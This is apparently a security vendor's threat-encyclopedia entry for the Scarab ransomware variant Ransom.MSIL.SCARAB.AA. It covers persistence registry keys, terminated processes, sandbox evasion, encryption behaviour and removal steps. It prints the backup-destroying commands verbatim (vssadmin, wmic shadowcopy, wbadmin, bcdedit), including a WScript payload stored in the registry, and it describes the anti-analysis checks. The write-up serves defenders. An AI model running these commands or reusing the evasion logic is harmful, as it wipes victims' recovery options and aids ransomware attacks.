Ransom.MSIL.SCARAB.AA
Trojan:MSIL/CryptInject!MTB(MICROSOFT); HEUR:Trojan-Dropper.MSIL.Dapato.gen(KASPERSKY);
Windows
Threat Type: Ransomware
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Dropped by other malware, Downloaded from the Internet
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes then deletes itself afterward.
It drops files as ransom note. It avoids encrypting files with the following file extensions.
TECHNICAL DETAILS
548,200 bytes
EXE
No
25 Sep 2019
Terminates processes, Displays message/message boxes, Encrypts files
Arrival Details
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Ransomware drops the following copies of itself into the affected system and executes them:
- %Application Data%\svcsv.exe
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- To delete backup:
- wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
- wmic SHADOWCOPY DELETE
- vssadmin Delete Shadows /All /Quiet
- bcdedit /set {default} recoveryenabled No
- bcdedit /set {default} bootstatuspolicy ignoreallfailures
- %Application Data%\svcsv.exe
- cmd.exe /c start /max notepad.exe "%User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT"
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It executes then deletes itself afterward.
Autostart Technique
This Ransomware adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
dFfuJscMNnIKrW = %Application Data%\svcsv.exe
Other System Modifications
This Ransomware adds the following registry entries:
HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
idle = 1
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iPointSize = 120
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfCharSet = 204
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfWeight = 400
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfItalic = 0
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfUnderline = 0
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfOrientation = 0
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfStrikeOut = 0
HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfFaceName = Fixedsys
HKEY_CURRENT_USER\Software\OVJIT
UUZRX = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);""
Process Termination
This Ransomware terminates the following processes if found running in the affected system's memory:
- taskmgr.exe
- ccleaner.exe
- ccleaner64.exe
- regedit.exe
- anvir.exe
- anvir64.exe
- cscript.exe
- wscript.exe
- powershell.exe
- procexp.exe
- far.exe
- agntsvc.exe
- agntsvc.exeagntsvc.exe
- agntsvc.exeencsvc.exe
- agntsvc.exeisqlplussvc.exe
- dbeng50.exe
- dbsnmp.exe
- excel.exe
- firefoxconfig.exe
- infopath.exe
- isqlplussvc.exe
- msaccess.exe
- msftesql.exe
- mspub.exe
- mydesktopqos.exe
- mydesktopservice.exe
- mysqld.exe
- mysqld-nt.exe
- mysqld-opt.exe
- ncsvc.exe
- ocautoupds.exe
- ocomm.exe
- ocssd.exe
- onenote.exe
- oracle.exe
- outlook.exe
- powerpnt.exe
- sqbcoreservice.exe
- sqlagent.exe
- sqlbrowser.exe
- sqlserver.exe
- sqlservr.exe
- sqlwriter.exe
- steam.exe
- synctime.exe
- tbirdconfig.exe
- thebat.exe
- thebat64.exe
- thunderbird.exe
- visio.exe
- winword.exe
- wordpad.exe
- xfssvccon.exe
Other Details
This Ransomware adds the following registry keys:
HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
HKEY_CURRENT_USER\Software\OVJIT
It does the following:
- It encrypts all local and network drives
- Terminates itself if system's Country Locale is from one of the following countries:
- Russia
- Belarus
- Ukraine
- If condition {a} is not true:
- It drops the following files:
- %User Temp%\$TMP$001.exe → detected as Ransom_Blocker.R002C0DF519
- %Application Data%\winupas.exe → detected as Ransom_Blocker.R002C0DF519
- It adds the following processes:
- "%Application Data%\Roaming\winupas.exe" x
- It adds the following registry entries:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Windows Update Assistant = "%Application Data%\winupas.exe" x
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Where {a}:
- If the machine is running in the following VM:
- Anubis VM
- VBox
- Virtual PC
- VirtualBox
- VMWare
- If the following analysis tools are found running:
- vboxservice.exe
- vmtoolssd.exe
- wireshark.exe
- ollydbg.exe
- If the folder "%System Root%\insidetm" exists
- If "%System Root%\sample.exe" exists
- If the machine is running in the following VM:
- It drops the following files:
- It renames filenames of encrypted files.
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
Ransomware Routine
This Ransomware avoids encrypting files found in the following folders:
- $RECYCLE.BIN
- All Users
- AppData
- Application Data
- intel
- nvidia
- System Volume Information
- Trend Micro
- Windows
It appends the following extension to the file name of the encrypted files:
- {encrypted file name}.zxcvbn
It drops the following file(s) as ransom note:
- %User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT
- %Desktop%\HOW TO RECOVER ENCRYPTED FILES.TXT
- {Encrypted Directory}\HOW TO RECOVER ENCRYPTED FILES.TXT
It avoids encrypting files with the following file extensions:
- .adame
- .bomber
- .zxcvbn
SOLUTION
9.850
15.908.01
02 Jun 2020
15.909.00
03 Jun 2020
Step 1
Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:
- Troj.Win32.TRX.XXPE50FFF035
Step 2
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Restart in Safe Mode
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- dFfuJscMNnIKrW = %Application Data%\svcsv.exe
- dFfuJscMNnIKrW = %Application Data%\svcsv.exe
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Windows Update Assistant = "%Application Data%\winupas.exe" x
- Windows Update Assistant = "%Application Data%\winupas.exe" x
- In HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
- idle = 1
- idle = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- iPointSize = 120
- iPointSize = 120
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfCharSet = 204
- lfCharSet = 204
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfWeight = 400
- lfWeight = 400
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfItalic = 0
- lfItalic = 0
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfUnderline = 0
- lfUnderline = 0
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfOrientation = 0
- lfOrientation = 0
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfStrikeOut = 0
- lfStrikeOut = 0
- In HKEY_CURRENT_USER\Software\Microsoft\Notepad
- lfFaceName = Fixedsys
- lfFaceName = Fixedsys
- In HKEY_CURRENT_USER\Software\OVJIT
- UUZRX = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);""
- UUZRX = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);""
Step 6
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
- (null)
- (null)
- In HKEY_CURRENT_USER\Software\OVJIT
- (null)
- (null)
Step 7
Search and delete these files
- %User Temp%\$TMP$001.exe
- %Application Data%\winupas.exe
- %Application Data%\svcsv.exe
- %User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT
- %Desktop%\HOW TO RECOVER ENCRYPTED FILES.TXT
- {Encrypted Directory}\HOW TO RECOVER ENCRYPTED FILES.TXT
Step 8
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.MSIL.SCARAB.AA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 9
Restore encrypted files from backup.
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